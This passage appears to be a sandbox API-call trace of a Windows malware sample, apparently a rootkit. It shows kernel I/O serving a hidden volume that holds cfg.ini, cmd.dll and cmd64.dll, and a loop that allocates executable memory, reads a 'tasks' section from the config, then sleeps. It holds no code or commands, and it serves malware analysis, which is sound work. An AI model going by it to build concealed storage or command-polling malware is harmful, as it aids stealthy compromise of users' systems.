_Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0081.893] KeEnterCriticalRegion () [0081.893] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0081.893] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800cbf0920 [0081.893] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800cbf0920 | out: Irp=0xfffffa800cbf0920) returned 0xfffffa8003655930 [0081.893] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003655930, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003655930) [0081.893] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0081.893] IdePortDispatch () returned 0x103 [0081.893] KeWaitForMutexObject () returned 0x0 [0081.893] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0081.893] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0081.893] strncpy (in: _Dest=0xfffffa80027dafe0, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0081.893] FsRtlInitializeFileLock (FileLock=0xfffffa80027daff0, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0081.893] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80034efb00 [0081.893] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0081.893] KeLeaveCriticalRegion () [0081.893] IofCompleteRequest (Irp=0xfffffa80034e8010, PriorityBoost=0) [0081.893] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0081.893] KeEnterCriticalRegion () [0081.893] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0081.893] FsRtlProcessFileLock (FileLock=0xfffffa80027daff0, Irp=0xfffffa80034e8010, Context=0x0) returned 0x0 [0081.893] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0081.893] KeLeaveCriticalRegion () [0081.893] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0081.893] KeEnterCriticalRegion () [0081.893] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0081.893] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800cbf0920 [0081.893] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800cbf0920 | out: Irp=0xfffffa800cbf0920) returned 0xfffffa8003655930 [0081.893] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003655930, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003655930) [0081.894] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0081.894] IdePortDispatch () returned 0x103 [0081.894] KeWaitForMutexObject () returned 0x0 [0081.894] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0081.894] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0081.894] KeLeaveCriticalRegion () [0081.894] IofCompleteRequest (Irp=0xfffffa80034e8010, PriorityBoost=0) [0081.894] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0081.894] KeEnterCriticalRegion () [0081.894] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0081.894] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003655930, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000bb5000 [0081.894] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800cbf0920 [0081.894] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800cbf0920 | out: Irp=0xfffffa800cbf0920) returned 0xfffffa8003648530 [0081.894] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003648530, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003648530) [0081.894] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0081.894] IdePortDispatch () returned 0x103 [0081.894] KeWaitForMutexObject () returned 0x0 [0081.894] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0081.894] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800cbf0920 [0081.894] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800cbf0920 | out: Irp=0xfffffa800cbf0920) returned 0xfffffa8003648530 [0081.894] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003648530, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003648530) [0081.894] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0081.894] IdePortDispatch () returned 0x103 [0081.894] KeWaitForMutexObject () returned 0x0 [0081.895] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0081.895] KeLeaveCriticalRegion () [0081.895] IofCompleteRequest (Irp=0xfffffa80034e8010, PriorityBoost=0) [0081.895] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0081.895] KeEnterCriticalRegion () [0081.895] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0081.895] FsRtlProcessFileLock (FileLock=0xfffffa80027daff0, Irp=0xfffffa80034e8010, Context=0x0) returned 0x0 [0081.895] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0081.895] KeLeaveCriticalRegion () [0081.895] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0081.895] KeEnterCriticalRegion () [0081.895] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0081.895] IoGetRequestorProcess (Irp=0xfffffa80034e8010) returned 0xfffffa80034fca60 [0081.895] FsRtlFastUnlockAll (FileLock=0xfffffa80027daff0, FileObject=0xfffffa80034efbc0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0081.895] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0081.895] KeLeaveCriticalRegion () [0081.895] IofCompleteRequest (Irp=0xfffffa80034e8010, PriorityBoost=0) [0081.895] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0081.895] KeEnterCriticalRegion () [0081.895] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0081.895] ExFreePoolWithTag (P=0xfffffa80034efb00, Tag=0x0) [0081.895] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0081.895] KeLeaveCriticalRegion () [0081.895] IofCompleteRequest (Irp=0xfffffa80034e8010, PriorityBoost=0) [0081.896] ReleaseMutex (hMutex=0xf0) returned 1 [0081.896] Sleep (dwMilliseconds=0x927c0) [0093.279] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x1d0000 [0093.279] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0093.283] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x1d0000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0093.283] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0093.283] KeEnterCriticalRegion () [0093.283] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0093.283] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003874560 [0093.283] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003874560 | out: Irp=0xfffffa8003874560) returned 0xfffffa8003239bb0 [0093.283] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003239bb0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003239bb0) [0093.283] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0093.283] IdePortDispatch () returned 0x103 [0093.283] KeWaitForMutexObject () returned 0x0 [0093.283] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0093.283] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0093.283] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0093.283] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0093.283] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0093.284] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa800d5ffe10 [0093.284] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0093.284] KeLeaveCriticalRegion () [0093.284] IofCompleteRequest (Irp=0xfffffa8003828ee0, PriorityBoost=0) [0093.284] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0093.284] KeEnterCriticalRegion () [0093.284] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0093.284] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003828ee0, Context=0x0) returned 0x0 [0093.284] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0093.284] KeLeaveCriticalRegion () [0093.284] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0093.284] KeEnterCriticalRegion () [0093.284] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0093.284] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003874560 [0093.284] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003874560 | out: Irp=0xfffffa8003874560) returned 0xfffffa8003239bb0 [0093.284] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003239bb0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003239bb0) [0093.284] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0093.284] IdePortDispatch () returned 0x103 [0093.284] KeWaitForMutexObject () returned 0x0 [0093.284] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0093.284] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0093.284] KeLeaveCriticalRegion () [0093.284] IofCompleteRequest (Irp=0xfffffa8003828ee0, PriorityBoost=0) [0093.284] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0093.284] KeEnterCriticalRegion () [0093.284] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0093.284] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003239bb0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003485000 [0093.284] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003874560 [0093.284] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003874560 | out: Irp=0xfffffa8003874560) returned 0xfffffa8003607090 [0093.284] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003607090, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003607090) [0093.284] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0093.284] IdePortDispatch () returned 0x103 [0093.284] KeWaitForMutexObject () returned 0x0 [0093.285] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0093.285] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003874560 [0093.285] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003874560 | out: Irp=0xfffffa8003874560) returned 0xfffffa8003607090 [0093.285] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003607090, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003607090) [0093.285] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0093.285] IdePortDispatch () returned 0x103 [0093.285] KeWaitForMutexObject () returned 0x0 [0093.285] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0093.285] KeLeaveCriticalRegion () [0093.285] IofCompleteRequest (Irp=0xfffffa8003828ee0, PriorityBoost=0) [0093.285] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0093.285] KeEnterCriticalRegion () [0093.285] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0093.285] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003828ee0, Context=0x0) returned 0x0 [0093.285] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0093.285] KeLeaveCriticalRegion () [0093.285] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0093.285] KeEnterCriticalRegion () [0093.285] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0093.285] IoGetRequestorProcess (Irp=0xfffffa8003828ee0) returned 0xfffffa80034fca60 [0093.285] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003892c30, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0093.285] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0093.285] KeLeaveCriticalRegion () [0093.285] IofCompleteRequest (Irp=0xfffffa8003828ee0, PriorityBoost=0) [0093.286] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0093.286] KeEnterCriticalRegion () [0093.286] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0093.286] ExFreePoolWithTag (P=0xfffffa800d5ffe10, Tag=0x0) [0093.286] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0093.286] KeLeaveCriticalRegion () [0093.286] IofCompleteRequest (Irp=0xfffffa8003828ee0, PriorityBoost=0) [0093.286] ReleaseMutex (hMutex=0xf0) returned 1 [0093.286] Sleep (dwMilliseconds=0x927c0) [0105.623] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x350000 [0105.623] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0105.623] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x350000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0105.623] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0105.624] KeEnterCriticalRegion () [0105.624] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0105.624] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003a9d640 [0105.624] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003a9d640 | out: Irp=0xfffffa8003a9d640) returned 0xfffffa80038bc390 [0105.624] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038bc390, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038bc390) [0105.624] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0105.624] IdePortDispatch () returned 0x103 [0105.624] KeWaitForMutexObject () returned 0x0 [0105.625] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0105.625] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0105.625] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0105.625] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0105.625] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0105.625] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa800358bd80 [0105.625] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0105.625] KeLeaveCriticalRegion () [0105.625] IofCompleteRequest (Irp=0xfffffa8003ad9c80, PriorityBoost=0) [0105.625] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0105.625] KeEnterCriticalRegion () [0105.625] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0105.625] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003ad9c80, Context=0x0) returned 0x0 [0105.625] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0105.625] KeLeaveCriticalRegion () [0105.625] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0105.625] KeEnterCriticalRegion () [0105.625] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0105.625] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003a9d640 [0105.625] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003a9d640 | out: Irp=0xfffffa8003a9d640) returned 0xfffffa80038bc390 [0105.625] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038bc390, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038bc390) [0105.625] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0105.625] IdePortDispatch () returned 0x103 [0105.626] KeWaitForMutexObject () returned 0x0 [0105.626] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0105.626] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0105.626] KeLeaveCriticalRegion () [0105.626] IofCompleteRequest (Irp=0xfffffa8003ad9c80, PriorityBoost=0) [0105.626] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0105.626] KeEnterCriticalRegion () [0105.626] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0105.626] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa80038bc390, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034d5000 [0105.626] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003a9d640 [0105.626] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003a9d640 | out: Irp=0xfffffa8003a9d640) returned 0xfffffa80038a5010 [0105.626] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5010) [0105.626] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0105.626] IdePortDispatch () returned 0x103 [0105.627] KeWaitForMutexObject () returned 0x0 [0105.627] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0105.627] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003a9d640 [0105.627] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003a9d640 | out: Irp=0xfffffa8003a9d640) returned 0xfffffa80038a5010 [0105.627] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5010) [0105.627] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0105.627] IdePortDispatch () returned 0x103 [0105.627] KeWaitForMutexObject () returned 0x0 [0105.627] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0105.627] KeLeaveCriticalRegion () [0105.627] IofCompleteRequest (Irp=0xfffffa8003ad9c80, PriorityBoost=0) [0105.628] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0105.628] KeEnterCriticalRegion () [0105.628] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0105.628] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003ad9c80, Context=0x0) returned 0x0 [0105.628] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0105.628] KeLeaveCriticalRegion () [0105.628] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0105.628] KeEnterCriticalRegion () [0105.628] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0105.628] IoGetRequestorProcess (Irp=0xfffffa8003ad9c80) returned 0xfffffa80034fca60 [0105.628] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003ac7390, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0105.628] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0105.628] KeLeaveCriticalRegion () [0105.628] IofCompleteRequest (Irp=0xfffffa8003ad9c80, PriorityBoost=0) [0105.628] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0105.628] KeEnterCriticalRegion () [0105.628] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0105.628] ExFreePoolWithTag (P=0xfffffa800358bd80, Tag=0x0) [0105.628] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0105.628] KeLeaveCriticalRegion () [0105.628] IofCompleteRequest (Irp=0xfffffa8003ad9c80, PriorityBoost=0) [0105.629] ReleaseMutex (hMutex=0xf0) returned 1 [0105.629] Sleep (dwMilliseconds=0x927c0) [0116.679] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0116.679] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0116.679] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0116.679] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0116.679] KeEnterCriticalRegion () [0116.679] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.679] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0116.679] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0116.679] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0116.679] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0116.679] IdePortDispatch () returned 0x103 [0116.679] KeWaitForMutexObject () returned 0x0 [0116.679] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0116.679] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0116.679] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0116.679] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0116.679] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0116.679] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80039d6730 [0116.679] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.679] KeLeaveCriticalRegion () [0116.679] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0116.679] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0116.679] KeEnterCriticalRegion () [0116.679] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.680] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0116.680] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.680] KeLeaveCriticalRegion () [0116.680] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0116.680] KeEnterCriticalRegion () [0116.680] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: 